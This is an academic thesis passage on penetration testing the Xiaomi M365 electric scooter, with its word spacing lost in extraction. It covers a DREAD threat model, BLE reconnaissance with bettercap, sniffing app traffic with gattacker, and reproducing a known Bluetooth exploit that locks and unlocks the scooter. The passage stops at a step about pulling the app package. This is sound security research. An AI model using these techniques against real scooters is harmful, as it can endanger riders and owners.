DEGREEPROJECTININFORMATIONANDCOMMUNICATION TECHNOLOGY,FIRSTCYCLE,II143X,15CREDITS STOCKHOLM,SWEDEN2019 IoTPenetration Testing:Hackingan ElectricScooter BachelorThesisReport LouisCameronBooth&Matay Mayrany KTHROYALINSTITUTEOFTECHNOLOGY SCHOOLOFELECTRICALENGINEERING&COMPUTERSCIENCE
Abstract
TheindustryoftheInternetofThings(IoT)isaburgeoningmarket.Awidevarietyof devicesnowcomeequippedwiththeabilitytodigitallycommunicatetoawidernetwork andmodernelectricscootersareonesuchexampleofthistrendtowardsamoreconnected society.Withscooterride-sharecompaniescontinuallyexpandinginurbanareas worldwidethesedevicesareposingagreaterattacksurfaceforhackerstotakeadvantage of.Inthisreportweutilizethreatmodellingtoanalysethepotentialvulnerabilitiesin apopularelectricscooter.Throughpenetrationtestingwedemonstratetheexistenceof majorsecurityflawsinthedeviceandproposewaysinwhichmanufacturersmayguard againsttheseexploitsinthefuture.
Keywords
InternetofThings,penetrationtesting,threatmodelling,ethicalhacking
i
Sammanfattning
Internet-of-Things(IoT)växerglobalt.Mångaprodukterkommerutrustademed förmåganattdigitaltkommuniceramedolikanätverkochmodernaelektroniska sparkcyklarärettexempelpådennatrendsomgårmotettmeruppkopplatoch sammankopplatsamhälle.Iochmedattantaletföretagsomtillhandahållerelsparkcykeltjänsteriurbanamiljöerövervärldenväxer,såblirdessaprodukterettstörremålför hackareattutnyttja.Idennarapportanvändervihotmodelleringförattanalysera potentiellasårbarheterienpopulärelsparkcykelmodell.Genomattpenetrationstesta produktendemonstrerarviallvarligasäkerhetsfelochföreslårförhållningssättsom tillverkarekantahänsyntillförattundvikaframtidaattacker.
Nyckelord
InternetofThings,penetrationstestning,hotmodellering,etiskhackning
ii
Contents 1Introduction 1 1.1Goals&Objectives ................................1 1.2TheDevice&TestingProcess ..........................2 2Background 3 3Method 7 4Threatmodel 10 4.1IdentifyingAssets ................................10 4.2IdentifyingThreats ................................12 4.3RatingThreats ..................................13 4.4Summaryofthethreatmodel ..........................16 5Hacking&theresults 17 6Conclusionsandfurtherresearch 24 References 27 iii
Theareaofresearchtowhichthisreportaimstoprovideacontributionisthatof ethicalhackingandcybersecurity.AccordingtoTheInternationalCouncilofElectronic Commerceethicalhackingcanbelookedatasasystematicandstructuredprocess wherehackingandpenetrationtestingtechniquesareused,withthegoalofexposing vulnerabilitiesinasystem 1.Asthenumberofthreatsandcyberattacksinoursociety isincreasing,ethicalhackingisagrowingareaofresearchwithanevidentlygrowing necessity.
Thecollaborationbetweenorganizationsandpenetrationtestersisnotnecessarilypresent inallcases.Itcouldbethatthetestingisdonewithouttheorganization’sknowledgewith theintentofenhancingpublicsecurityandsafety.Thiscanbedoneonavarietyofscales fromhackingmotorizedvehiclestosmallsmart-homedevices.Withtherecenttrends seeninIoTdevicesandtheincreaseinconnectionsinourecosystems,thepotentialfor vulnerabilitiesalsoincreases.Therefore,onecansaythattheimportanceoftestingand assuringthesecurityoftheseconnectionsismoreprevalentnowthaneverastheincrease inconnectivityproducesanincreaseinthreatsonoursecurityandprivacy.
1.1Goals&Objectives
Thegoalwiththisreportandexperimentationistoenhancepublicknowledgeandprovide researchmaterialinareasrelatedtoIoThacking.Itcanalsobereferredtowheneverthe techniquesthatareusedarerelevantforthetestingofadifferentdevice.Topicssuch asBluetoothhacking,decompilingfirmwareandreverseengineeringmobileapplications willallbeintroducedandexplainedinlatersections.
Themainbodythatwillbenefitfromthisresearchiscomprisedofthepeoplethatinteract withIoTdevices.However,thisgroupcanbeextendedtoanarbitrarysizethatis considerablylargerthantheimmediateconsumersandusers.AccordingtoCiscoInternet BusinessSolutionsGroup,thenumberofconnectedIoTdevicesgloballyisexpectedtorise to50billionby2020 2.Theeffectsoftheseconnectionscanbethebettermentofhealth institutions,securityandwell-beingofcitizens,aswellasaboostintheglobaleconomy duetothenewfoundabilitytooptimizeresourceusageinareaswhereIoTcollected datacanbeutilized.Keepinginmindthepotentialbenefitsthatcanarisefromthese
1TheInternationalCouncilofElectronicCommerceConsultants-www.eccouncil.org/ethical-hacking
2Cisco-www.cisco.com/c/dam/en_us/about/ac79/docs/innov/IoT_IBSG_0411FINAL.pdf
1Introduction
1
connectionsandtheincreaseinthreattheyintroduce,wecannowseewhyitiscritical toanalyzetheirsecurityinordertoensurepublicsafetyandminimizethepotentialfor counterproductiveattackstotakeplace.
Allthingsconsidered,onecansaythatthisresearchaimstoprovideabetter understandingofthesecurityoftheseconnections,leadingconsumerstomakemake morecautiouspurchases,producerstopaymoreattentiontothesecurityofthedevices throughoutthedevelopmentprocessandhelpingotherresearcherswhowishtoreferto thework.
1.2TheDevice&TestingProcess
Thedevicethatwewillbetestingthroughoutthedurationofthisprojectisamotorized electricscooter.ThemodelwewillfocusonistheXiaomiM365electricscooter.This choicewasmotivatedbytheincreaseinpopularityofthesedeviceswiththeiruseinride sharingappsinmanycitiesaroundtheglobe.ItisalsoapartoftheXiaomicloud,which isclaimedtobetheworld’slargestInternetofThingsecosystemwith85milliondevices 3
Theexperimentationprocesswillentailsecurityanalysisandtestingofthedevice.We willstartbydefiningathreatmodelofthedevice.Theexerciseofthreatmodelingentails identifyingallsourcesofinputintoasystemandevaluatingtheirpotentialasattack surfacesorentrypointsintothatsystem.Oncethatisdone,wewillsystematicallyattempt toexploitanypotentialentrypointsthatweidentify,usinghackingtoolsandprocedures thatarerelevanttothetechnologiesinplace.Finally,wewillreflectoverourfindings. Thatis,wewillanalyzethesignificanceofanyfoundvulnerabilities.Wewillalsoinform ofanyattemptsthatwereunsuccessful,highlightingthemoresecureaspectsinthedevice. Finally,wewillsuggestimprovementsandpotentialsecurityenhancementsthatcould potentiallypatchthefoundvulnerabilities.
Thewrittenmaterialwillcontainourfindingsinourtestingoftheelectricscooter.We willdetailthemethodsusedtodiscoveranyvulnerabilitiesandanalyzeourresults.Allof thiswillbedonewiththeaimofansweringthefollowingproblemstatement:whatisthe potentialforvulnerabilitiesincomputerizedelectricscooters?
3Espressif-www.espressif.com/en/media_overview/news/espressif-systems-integrated-xiaomis-plans-
2
iot-development
Overashortperiodoftimeconnecteddeviceshaveshiftedfrombeingusedatthemargins ofsocietytobeingadoptedbythemainstreamanddramaticallychangingourdailylives. In1995around25%ofthepopulationinSwedenhadaccesstoaconnectedcomputer totheInternet,by2011thatnumberroseto89% 4.Today,manysingle-purposeand previouslymundaneproductshaveversionsofferingnetworkconnectedfunctionalities. Devicessuchassmartfridges,locksandwatchespromisetheconsumeranimproveduser experienceasaresultoftheiradvancedconnectivity.Anditappearsthatcustomersare buyingintothisidea,thusfuellinganexplosivegrowthintheindustryofIoT.According toTelia,in2018therewere16.9connecteddevicesperhouseholdinSweden-anincrease ofathirdcomparedtothepreviousyear 5
Howeverastechnologycompaniesfocustheireffortsonthisrapidexpansion,oftenthe securityoftheseIoTdevicesisleftasanafterthought.Manytimescompanieswillfocus somuchondeliveringincreasedfunctionalitytotheuserthattheywillleavetheirdevices vulnerabletocyberattacks.Akeyexampleofwheresecurityflawsontheseconnected deviceshavebeentakenadvantageofistheMiraimalwarebotnet.In2016largeportions oftheInternetontheeastcoastoftheUSAwererenderedinaccessiblefollowingthe largestDDoSattackeverrecorded 6.IttranspiredthattheMiraimalwarehadbeenusedto createanarmyofhijackedconnecteddevices,suchaswebcamerasandrouters,toattack majorcommunicationcenters.ThemalwaretookadvantageofdevicesrunningLinuxthat hadpubliclyopentelnetportswhichitthenbrute-forcedwithacollectionof61common usernamesandpasswordcombinations.Oncehijacked,thesedeviceswereusedaspart ofanetworkofaround400,000hackedsystemswhichsimultaneouslyoverloadedtheir targets7.Themanufacturersofthesedevicescouldhavereducedtheimpactofthisattack simplybyusingmorecomplexusernameandpasswordcombinations-themajorityofthe systemsuseddefaultcredentials.AccordingtotheIoTPenetrationCookbook,theMirai DDoS “waspossibleduetovendornegligencethatcouldhavebeenpreventedbybasic threatmodelexercises”[4].Theconsequencesofthe2016DDoSattackwerefeltacross theInternet.Communicationinfrastructurewastargetedresultinginwebsitessuchas Amazon,TwitterandNetflixgoingdown,andlossesinthemillionsofdollarsofrevenue forthosecompanies.
4SwedesandtheInternet-www.internetstiftelsen.se/docs/SOI2011-en.pdf
5Telia-www.teliacompany.com/sv/nyhetsrum/news-articles/2019/connected-devices-2018
6WhatistheMiraiBotnet?-www.cloudflare.com/learning/ddos/glossary/mirai-botnet
7Cyberattacks-www.bbc.com/news/technology-37728015
2Background
3
Thesedays,however,wehavecommunicationcapabilitiesinmanydevicesthereforethe repercussionsoftheseIoTattackscanbemuchgraverthanjustshuttingdownwebsites. Inthisreportwefocusonthehackingofconnectedvehicleswhereitisself-evidentthat themaliciouscontrolofavehicleinmotionbyathirdpartyhasthepotentialtobelife threatening.Furthermore,whilstmanufacturersoflow-cost,low-riskIoTdevicesmight notfeelagreatincentivetoguaranteethesecurityoftheirconnectedsystems,thecreators ofexpensiveandpotentiallydangerousconnectedvehicleshaveavestedfinancialand moralinterestindoingso.ThisconceptisexplainedconciselyinCharlieMiller&Chris Valasek’spublicationon AdventuresinAutomotiveNetworksandControlUnits where theystate ”Whenelectronicnetworkedcomponentsareaddedtoanydevice,questionsof therobustnessandreliabilityofthecoderunningonthosedevicescanberaised.When physicalsafetyisinquestion,asinthecaseoftheautomobile,codereliabilityisevena moreimportantandpracticalconcern”[6].
Companiesacrossthetransportsectorhavebeganprioritisingthedigitalsafetyoftheir productsinrecentyears-theCIOoftheSwedishcarmanufacturerVolvorecently statedthat “SafetyisoneofourcorevaluesandamajorconcernforVolvo.We treatvirtualsafetyasequallyimportant.”8.Bethatasitmay,whilstmanufacturers havebeendevelopingITsecurityfortheirproductsbehindthescenes,gapsintheir solutionsdoregularlybecomeapparent;potentiallyimpactingtheirusers.Accordingto EdMarkey’spublicationoncybersecuritywithincarmanufacturers ”Securitymeasures topreventremoteaccesstovehicleelectronicsareinconsistentandhaphazardacrossall automobilemanufacturers”[5].Ifthecompaniesareunluckytheoriginsofthesesecurity flawsareindividualsaimingtoprofitoffofthecompany’smisfortune,butfrequentlythese technologicalshortcomingsarehighlightedbyethicalhackers.Byinteractingwithdevices withtheintentionofdiscoveringweaknessesethicalhackersaimtodrawattentionto issuesforthemanufacturerstofix.Anexampleofethicalhackersexposingvehicular ITsecurityisthe2015Jeephack[7].SecurityengineersChrisValasekandCharlie MillerdiscoveredthatversionsoftheJeepCherokeewithainfotainmentsystemhad opencommunicationports 9.Thisflawallowedthemtoremotelygainaccesstothe carviatheInternetconnectedinfotainmentsystemandcontrolaspectsofthevehicle’s speed,steeringandengine.ThisdiscoverywasmadedespiteJeepbeingawareof otheracademicsreleasingsimilarworkoncarhackingin2011,andtheJeephackers previouslyreleasingmoreprimitiveversionsoftheirhackin2013.Howeveroftentimes
8Volvo-www.europe.autonews.com/article/20150713/ANE/150719964/volvo-cio-says-virtual-safetywill-be-core-value-at-swedish-premium-brand
9Jeephack-www.wired.com/2015/07/hackers-remotely-kill-jeep-highway
4
thesecompaniesarenotincentivisedenoughtothoroughlychecktheirsecurityuntilthe potentialofpublicscrutinyispresent,whichmotivatedChrisandCharlietorevealtheir discoveryattheBlackHatUSAconferenceinLasVegas 10 .
Thisreportsharesthesamemotivationofpublishingsecurityconcernswiththeintention ofhelpingcustomersbecomesafer.OurprojectfocusesontheXiaomiM365electrical scooter.Thescooterisintendedtobeusedbycommutersoruserswhowantmovearound quicklyinanurbanarea,inSwedennolicenseisrequiredforthesescootersandthey havearestrictedtopspeedof20km/h.TheM365isoneofthemostpopularelectric scootersintheworld,withnearly600,000unitssold 11.Thesescooterscanbeprivately purchased,howeverthereasonforourfocusonthedeviceistheiruseintheexploding electricscooterride-shareindustry.CompaniessuchasBirdandVoihaveinundated citiesacrosstheworldwithdocklessscootersthatuserscanunlockusingtheirmobile phones.Thisisanareaofthetransportsectorthathasbeenrapidlygrowing,withBird beingvaluedatover$2billiondollarsin2018 12.Xiaomi’sscooterisoneofthemodels usedbyBirdandmanyotherscootercompaniestoprovidetheirtransportservices.There areseveralthousandsoftheseridesharescootersonstreetsacrosstheworld,thecityof LosAngelesalonehasmorethan20,000 13.ThescootersuseacombinationofBluetooth andInternetconnectionsinordertocommunicatewiththeuser’smobilephonesandtheir scooter-sharecompany’scentralservers.Thesecommunicationchannelsofferattack vectorstohackers,withthepotentialofmobilisingahordeofthesevehiclesinanurban environment.
10Remoteexploitationofanunalteredpassengervehicle-www.blackhat.com/us-15/briefings.html
11MiElectricScooter-www.mi.com/us/mi-electric-scooter/
12Bird-www.techcrunch.com/2019/01/09/e-scooter-startup-bird-is-raising-another-300m
13ScootersLA-www.nbclosangeles.com/news/local/Thousands-More-Scooters-Expected-on-LosAngeles-City-Streets-Soon-505592671.html
5
Ourworkshowninthisreportutilizesavarietyofethicalhackingtechniquesandpractices inordertoexposeholesinthescooter’ssecurity.DuringoursecurityauditoftheM365 scooterwedrewinspirationfromothersuccessfulhackssuchastheMiraibotnetand2015 Jeephack.Butwhilstbothhacksproducedextremelyinterestingresults,it’simportant tonotethedifferencebetweenthecriminalblackhathackoftheMiraibotnetcompared tothewhitehatJeephack.Ablackhathackerismotivatedbypersonalgainormalicious intent,inthisprojectwewerefocusedonusingpenetrationtestinginordertovalidate thesecurityofourtargeteddevice.Ifthereisadiscoveryofamajorbug,thereareethical guidelinesonthemannerinwhichyoudiscloseandshareyourwork.
Figure2.1:M365scooterspartofBird’sfleet
14
6
3Method
Ourmethodologyisprimarilybasedonqualitativeassessmentsandliteraturestudies. Wereferredtosimilarworkinthefield,developedathreatmodelandthencarried outourowntestingprocessoftheelectricscooter.Theresultsofthisprocessarethen evaluatedqualitativelyandconclusionsaboutthesecurityofthedeviceanditspotential forvulnerabilitiesaredrawn.
Tounderstandwhattheprocessofthreatmodelingentailsandthebenefitsitcanprovide werefertotheworkofWenjunXiongandRobertLagerström.Intheirarticletitled ThreatModeling:aSystematicLiteratureReview [10].XiongandLagerströmexplain threatmodelingtobeaproactiveprocesswiththeobjectiveofmakingitmoredifficultfor maliciousattackerstoexploitthesystemortechnologyathand.Furthermore,oneofthe articlesincludedintheliteraturereviewstatesthat“threatmodelingattemptstohavethe architectsordevelopersofanysolutionorsoftwareidentifythepotentialattackvectors againsttheirdeployment”[2].Thatis,insteadofconsideringthepossible use casesfor atechnology,thedeveloperswillconsiderpotential abuse casesthatcanbeperformed againsttheirapplication.Bydoingsothecreatorsofatechnologycantryandprevent potentialvulnerabilities.Thisclearlydemonstrateshowthreatmodelingcanbeutilized inthedevelopmentprocess.Onecanalsoseehowitcanbebeneficialpostdevelopment, wherethreatmodelingisusedasatooltoanalyzesystemsecurity.
Theliteraturereviewdemonstratestheutilizationmentionedabovebutitalsoshowshow threatmodelingcanbeusedinpenetrationtestingprocesses.Thatis,howitcanhelp ethicalhackersandsecurityspecialiststosystematicallyorganizetheireffortstohelp ensurethattheyidentifyvulnerabilitiesefficientlyandeffectively.Thevaluethatcanbe extractedfromthistoolextendsoveravarietyofsituationsandindustries,oneofwhich beingthatofconnectedvehicles.
Keepinginmindtheaforementionedbenefitsofthreatmodellingandthepossibilityof utilizingitinthepenetrationtestingprocess,wedidjustthatinthisproject.Weidentified thepotentialattackvectorsandassetsfortheelectricscooter,priortothetestingprocess. Wereferredtothe IoTPenetrationTesting bookwhendoingso,whichexplainedthatwe firstneedtodevelopanoverallpictureofthedataflowinthesystemordeviceathand[4].
Oncethatwasdoneweidentifiedthreatsbyinvestigatingthepotentialforvulnerabilities indifferentpartsofourmodelofthedevice.Finally,theidentifiedthreatswererated usingtheDREADsystem.
7
AccordingtotheIoTPenetrationTestingCookbook,threatratingsystemsaimtoquantify theriskintroducedbyeachthreatthathasbeenidentified.DREADisoneofthemost commonsystemsanditworksbygivingeachoffivepredefinedgeneralaspectsofathreat ascorefromonetothree.Ascoreofonemeansthatthethreatislowriskinthatspecific aspect,twoismediumriskandascoreofthreeindicateshighrisk.Thefivecategories thateachthreatisratedonareDamagepotential,Reproducibility,Exploitability,Affected usersandDiscoverability.Thetitlesofthecategoriesareindicativeoftheircriteria,the readermayrefertoTable3.1foramorethoroughexplanation.Theoverallthreatmodel andtheratingsofthethreatswereupdatedconstantlythroughoutthetestingprocess,as moreinformationwasgainedandmorevulnerabilitieswerediscovered.
Oncewehaddevelopedathreatmodelandidentifiedthepotentialentrypointsofthe devicewesystematicallyusedpenetrationtestingtechniquestotrytoexploitthesethreats. Finally,basedontheresultsofthetestsweassessedthesecurityofthedevice,itspotential forvulnerabilitiesandourconclusionsontheprocess.Previousresearchwasreferredto whencreatingthisthreatmodelandcarryingoutthepenetrationtesting.
8
Table3.1:DREADsystem
Rating High(3) Medium(2) Low(1)
Damage Potential Cansubvertall securitycontrols andgetfulltrust totakeoverthe whole IoT ecosystem.
Reproducibility The attackisalways reproducible.
Could leak sensitive information.
Could leak sensitive information.
Exploitability Anoviceattacker couldexecutethe exploit.
Affectedusers Allusers,default configurations, alldevices.
Theattackcanbe reproducedonly within a timedwindowor specific condition.
Askilledattacker couldmakethe attackrepeatedly.
Affects someusers,some devices,and custom configurations.
It’sverydifficult toreproducethe attack, evenwithspecific information about the vulnerability.
Allowsaskilled attackerwithindepthknowledge toperformthe attack.
Affects a smallpercentage ofusersand/or devicesthrough an obscure feature.
Discoverability Attack explanationcan beeasilyfoundin apublication.
Affectsaseldomusedfeature whereanattacker wouldneedtobe verycreativeto discover a malicioususefor it.
Isobscureand unlikely anattackerwould discoverawayto exploitthebug.
9
4Threatmodel
InourthreatmodellingoftheXiaomiM365weaimedtoidentifythepotentialentrypoints intothetargeteddevice,exploreanysecuritythreatsthattheycontainandquantifythese threats.
4.1IdentifyingAssets
Inthepublication”ThreatModelingandAttackSimulationsofConnectedVehicles:A ResearchOutlook”,Whenitcomestovehiclemodelingandanalysis,thefirstthingisto understandtheinternalnetworkofavehicle,andthemainassetsinit[9].Firstlywe identifytheM365’sassetsinordertounderstandwheretofocusourattacks.Belowisa breakdownofeachassetwediscoveredwhichwedeemedaviableattackvector.
MobileApplication
Xiaomihasamobileapplicationcalled”XiaomiHome”onAndroidandiOSthatallowsthe userinteractwiththeirscooter 15.Examplesofactionsausercanperformarechanging settingsonthescooter,receivinginformationaboutthescooterandupdatingthescooter’s firmware.TheapplicationalsoallowsthesettingofapasswordontheM365sothatonly authenticateduserscanconnecttoit.
TheXiaomiHomeapplicationisnotspecificallyfortheM365,itisactuallyanallencompassingsmarthomeapplicationtobeusedforthedozensofIoTdevicesXiaomi manufactures.SeeFigure4.1foranimageoftheappinuse.
BluetoothLE
ThescooterutilisesBluetoothLowEnergy(BLE)inordertocommunicatetotheuser’s mobilephone.ThescooterfacilitatesthiscommunicationwithNordicSemiconductor’s nRF51822chipwhichisanultra-lowpowerwireless2.4GhzSystemonChip 16 .
BluetoothLowEnergycommunicationisbasedoffacentralandperipheraldevice relationship-inthecontextofthisrelationshipthescooteristheperipheraldeviceand themobileapplicationisthecentraldevice.
15XiaomiHome-www.play.google.com/store/apps/details?id=com.xiaomi.smarthome
16NordicSemiconductor-https://infocenter.nordicsemi.com/topic/struct_nrf51/struct/nrf51.html
10
Firmware
Thescootercomeswithpre-installedfirmware.Thefirmwarecanbeupdatedbythe appoverBLE.Thefirmwarerunsonthescooter’s32-bitCortex-M3processorcoreand iscompiledintheARM-7architecture 17.Thefirmwaredefinesmanyaspectsofthe functionalityofthescooter.Itsetsaninternalspeedlimitforthescooter,definesthe powergivenfromthebatterytotheengine,definestherateofaccelerationamongstother importantoperations.
DeviceHardware
Thescooterhasamultitudeofperipherals.
Thehandlebarsofthescootercontainmostoftheinterestinghardware.Thereisabrake leveronthelefthandsidethatprovidesbothamechanicalbrakingmechanismaswellas sendingasignaltothescooter’senginetocutoutwhentriggered.Ontherighthandside ofthehandlebarisastraightforwardaccelerationbutton.Thecentreofthehandlebars containsabuttonthatactsasanon/offswitch,aswellasallowingtheusertotoggle betweenbattery-savingmodeandtoturnontheheadlight-whichisatthefrontofscooter.
17CortexSoC-www.st.com/en/microcontrollers-microprocessors/stm32f103c8.html
Figure4.1:ScreenshotoftheXiaomiHomeapp
11
ThereisalsoaverysimpleLEDdisplaythatshowstheuserthebatterylifeofthescooter andwhetherthescooterisinbattery-savingmode.Ontheundersideofthescooterthere isachargingport.SeeFigure4.2foraphotographofthescooter’shandlebars.
4.2IdentifyingThreats
Afteridentifyingtheassets,weanalysedthepotentialattacksthatcouldarisefromthe exploitationofthoseaspectsofthescooter.Intotalwedecidedon7threats-beloware eachidentifiedthreatwithitsassociatedasset.
MobileApplication
#1-Anattackercouldcontrolthescooterwithoutauthenticationbygainingillicitaccess totheapplication.
#2-Anattackercouldspooftheapplicationinordertofacilitateinauthentic communicationbetweenthemandthescooter.
BluetoothLE
#3-AnattackercouldperformamaninthemiddleattacklisteningtotheBluetooth communicationandsavethescooter’spassword.
Figure4.2:CloseupoftheXiaomiM365’shandlebars
12
#4-Anattackercouldperformareplayattackwhichsendsunauthenticatedcommands overBluetoothtothescooter.
Firmware
#5-Anattackercouldmakethescooterdangeroustousebyalteringthescooter’s firmware.
#6-Anattackercoulduploadsoftwarethatpassivelyperformsothermaliciousoperations suchasattemptingtohackphonesthatconnecttoit.
Hardware
#7-Anattackercouldmakethescooterdangeroustoridebymakingmodificationstothe physicalcomponentsofthedevice.
4.3RatingThreats
Inordertounderstandtheseverityofeachthreataratingsystemisused.Inthisproject weusetheDREADratingsystemwhichisexplainedindetailintheMethodsection.In eachtablewebreakdownthevariousaspectsofeachthreatandassignitanoverallrisk ratingscore.
MobileApplication
Anattackercouldcontrolthescooterwithoutauthentication bygainingillicitaccesstotheapplication
ID#
Description
Table4.1:DREADratingofthreat#1
1
Item Score DamagePotential 3 Reproducibility 2 Exploitability 3 Affectedusers 3 Discoverability 3 Riskratingscore:high 14 13
ID# 2 Description Anattackercouldspooftheapplicationinordertofacilitate inauthenticcommunicationbetweenthemandthescooter Item Score DamagePotential 3 Reproducibility 3 Exploitability 3 Affectedusers 3 Discoverability 3 Riskratingscore:high 15
Table4.2:DREADratingofthreat#2
BluetoothLE
ID# 3 Description Anattackercouldperformamaninthemiddleattacklistening totheBluetoothcommunicationandsavethescooter’s password Item Score DamagePotential 1 Reproducibility 2 Exploitability 2 Affectedusers 3 Discoverability 3 Riskratingscore:mid 11
Table4.3:DREADratingofthreat#3
ID# 4 Description Anattackercouldperformareplayattackwhichsends unauthenticatedcommandsoverBluetoothtothescooter Item Score DamagePotential 3 Reproducibility 3 Exploitability 3 Affectedusers 3 Discoverability 3 Riskratingscore:high 15 14
Table4.4:DREADratingofthreat#4
Firmware
ID# 5 Description Anattackercouldmakethescooterdangeroustouseby
Item Score DamagePotential 3 Reproducibility 2 Exploitability 1 Affectedusers 3 Discoverability 3 Riskratingscore:high 12
Table4.5:DREADratingofthreat#5
alteringthescooter’sfirmware
ID# 6 Description Anattackercoulduploadsoftwarethatpassivelyperforms
thatconnecttoit Item Score DamagePotential 1 Reproducibility 1 Exploitability 2 Affectedusers 2 Discoverability 2 Riskratingscore:mid 8 Hardware
Table4.6:DREADratingofthreat#6
othermaliciousoperationssuchasattemptingtohackphones
ID# 7 Description Anattackercouldmakethescooterdangeroustorideby
Item Score DamagePotential 3 Reproducibility 1 Exploitability 1 Affectedusers 1 Discoverability 1 Riskratingscore:mid 7 15
Table4.7:DREADratingofthreat#7
makingmodificationstothephysicalcomponentsofthedevice
5Hacking&theresults
Oncewehadcreatedourthreatmodel,wethenattemptedtoreproduceanyexistinghacks ontheXiaomidevice.Inearly2019themobilesecurityproviderZimperiumpublicly releasedcodewhichcouldlockandunlockanym365scooter.Theyreleasedtheirexploit intheformofiOSandAndroidappswhichusethephone’sBluetoothcapabilitiesto interactwiththescooterstoperformthenefariousactions.Theappcanunlockorlock ascooterregardlessofanypasswordauthenticationtheownerhassetup,according toZimperium ”Duringourresearch,wedeterminedthepasswordisnotbeingused properlyaspartoftheauthenticationprocesswiththescooterandthatallcommands canbeexecutedwithoutthepassword.Thepasswordisonlyvalidatedontheapplication side,butthescooteritselfdoesnotkeeptrackoftheauthenticationstate” 18.Despiteour scooterarrivingseveralmonthsaftertheexploitbeingreleasedwewereabletoreproduce thehackintheexactwayshownbyZimperium.Havingidentifiedthepotentialthreatsof thescooteranddemonstratedthattherewereexistingexploits,thenextstepwastotest forfurthervulnerabilities.
BluetoothLE
ThefirstentrypointweattemptedtoexploitwastheBluetoothconnectionbetween thescooterandthemobilephone.ThisconnectionutilizesBluetoothLowEnergyto initiateandfacilitatethedataexchangeprocessbetweenthetwodevices.Themobile applicationattemptstoprovideanextralayerofsecurityontopofthatprovidedbythe BLEprotocol.Thisisdonebyqueryingforapasscodetobeenteredwhenauserattempts toconnect.Wefocusedonreproducingtheactionsthatonecanexecutewithfulland authenticatedaccessfromthemobileapplication,withoutneedingthepasscodeorthe mobileapplication.
BeforeweexplainhowweattemptedtoexploitBLEweshallgiveabriefintroductionto thetechnology.BLEwasintroducedasthemainfeatureinBluetooth4.0withitsprimary qualificationbeingitslowpowerconsumptionlevels.ItisadvertisedbytheBluetooth
SpecialInterestGrouptobethepowerefficientversionofBluetoothmadeforIoTdevices
19.BLEworksbyfirstundergoingapairingprocessbetweenaperipheraldeviceanda centraldevice.Theperipheraldevicesareusuallyoneswithlimitedfunctionalityandlow
18Zimperiumhack-www.blog.zimperium.com/dont-give-me-a-brake-xiaomi-scooter-hack-enablesdangerous-accelerations-and-stops-for-unsuspecting-rider
19HackingBLE-www.blog.attify.com/the-practical-guide-to-hacking-bluetooth-low-energy
17
powerconsumption,suchasthescooterinthiscase.Theyarecontinuouslyadvertising theirinformation,awaitingaconnectionrequestfromacentraldevice,whichisadevice withmoreprocessingpowersuchasamobilephone.Acentraldevicecantheninitiatea scanrequest,towhichtheperipheraldevicerespondswiththenecessarydatatocomplete aconnection.ExchangingdataoverBLEhappensafterthispairingprocessandisusually minimalcomparedtoatraditionalBluetoothconnection.Boththeauthenticationwhen requestingtoconnectandtheencryptionofthedatathatisexchangedisdecidedby thedevelopersofthetechnology.Thisfunctionalitysuitssituationswherealongterm connectionneedstobesustainedwithlittledataexchangebetweentwodevices.
Inordertoachieveourgoalwhentestingthisattackvectorwefirstneedtosuccessfully connecttothedevice.Todothiswefirstneedtoscanforitandthenattemptto connectoncewefinditsBLEadvertisements.Severaltoolscanbeusedtocomplete thisstep- hcitool and gatttool beingthemostcommon.Howeverthetoolofchoicefor reconnaissanceinthisprojectwas bettercap 20 asitprovidesanarrayofBLErelated functionality,suchasscanningandbothreading&writingdata.Oncebettercapisstarted, weinitiateaBLEscanusingthecommand ble.reconon,whichwillscanforBLEdevices anddisplaytheiradvertisingdata.Wecanthenstopthescanoncewefindourdeviceand saveitsaddress(seefigure5.1).
Wecannowexecuteamultitudeofactionsonthedeviceassociatedwiththisaddress. Bettercapwillattempttofirstconnecttothescooter,executetheactionanddisconnect immediately.Wecanenumerateitsinformationusing ble.enumaddress (seeFigure5.2).
20Bettercap-www.bettercap.org
Figure5.1:BLEscanshowingscooterusingbettercap
18
WecanalsowriteandupdatetheBLEcharacteristics.Acharacteristicisavaluethat relatestotheBluetoothdevicethatitisstoredin.Dependingontheimplementation athand,writingvaluestoservicesandcharacteristicsmaytriggeractionsinthedevice. Hence,weneededtofigureoutwhichcharacteristicsandservicesareresponsiblefor theactionsthatarepossibletoexecuteusingthemobileapplication.Wethenneed thevalueswhichwillbewrittenintothesecharacteristics.Thesevaluescanbefound inanumberofdifferentways:decompilingthefirmwareonthescooter,decompiling themobileapplication,orsniffingthetrafficbetweenthescooterandmobileappwhen theseactionsareexecuted.IdeallythevalueswhicharewrittenoverBLEtothedevice’s characteristicstotriggeractionsareencryptedandauthenticated,howeverthefirmware thatourM365arrivedwithwasnot.Thismeansallscooterswiththatfirmwaresharethe samecommandvalueswhichishowtheZimperiumattackwasabletolockandunlock anyscooter.
Wefoundthevaluesforthescooter’sBluetoothcharacteristicsbyperformingamanin themiddleattackusingtheBLEhackingsoftware gattacker.Thisallowedustomonitor thetrafficbetweenamobilephonewiththeXiaomiappandthescooter.Wetriggered thelockandunlockcommandsontheappandtooknoteofthedatasentfromthephone todiscoverthevaluesusedtoinitiatetheseactionsinthescooter.Thevaluesforthe BLEcharacteristicswereinfactalreadypublicisedbytheZimperiumhackandourMITM attackwassimplydoneinanefforttolearnmoreabouttheBLEprocess.Usingthose valuesandthewritecommandinBettercapwesuccessfullymanagedtolockandunlock thescooterthroughourcomputer’sterminal(seeFigure5.3).Oncewehadmanagedthis
Figure5.2:EnumeratingtheServicesandCharacteristicsoftheScooter
19
wecreatedaPythonscriptwhichautomatedthisentireprocess.Theprogramlooksfor ascooteroveraBLEconnectiom,attemptstoconnecttoitandthesendsitthespecified lockorunlockcommand.ThatscriptisavailableintheAppendixofthisreport.
MobileApplication
TheXiaomiHomeappistheintendedresourceforuserstointeractwiththeirXiaomi brandedIoTdevices.Thewaythecommunicationbetweentheapplicationandthescooter worksisbyfirstsettingupaduplexBluetoothcommunicationchannel.Afterthisthe applicationsendsspecificcodestothescooterwhichthedeviceinterpretstoperforman action.Aspreviouslymentioned,weattemptedtodecompilethemobileapplicationwith thegoalofobtainingmoreinformationaboutthevaluesthataresenttothescooter,and theircorrespondingactions.Theprocessofreverseengineeringsoftwareisacommon toolthatcanbeusedtolearnmoreabouttheinnerworkingsofthetechnologyathand. Theprocessaimstogofromtheexecutablebinarycodeofanapplicationandgetbackto thesourcecodeinwhichitwasdeveloped[1].Itcanalsobeusedtosearchformalware andvirusesinapackagedapplication[3].
InthecaseofAndroidapplicationsthereverseengineeringprocessfirstentailsacquiring theAndroidapplicationpackage(apk)thendecompilingtherelevantclassesinsidethe package.Inthisprojectpullingthepackagewasdoneasfollows:
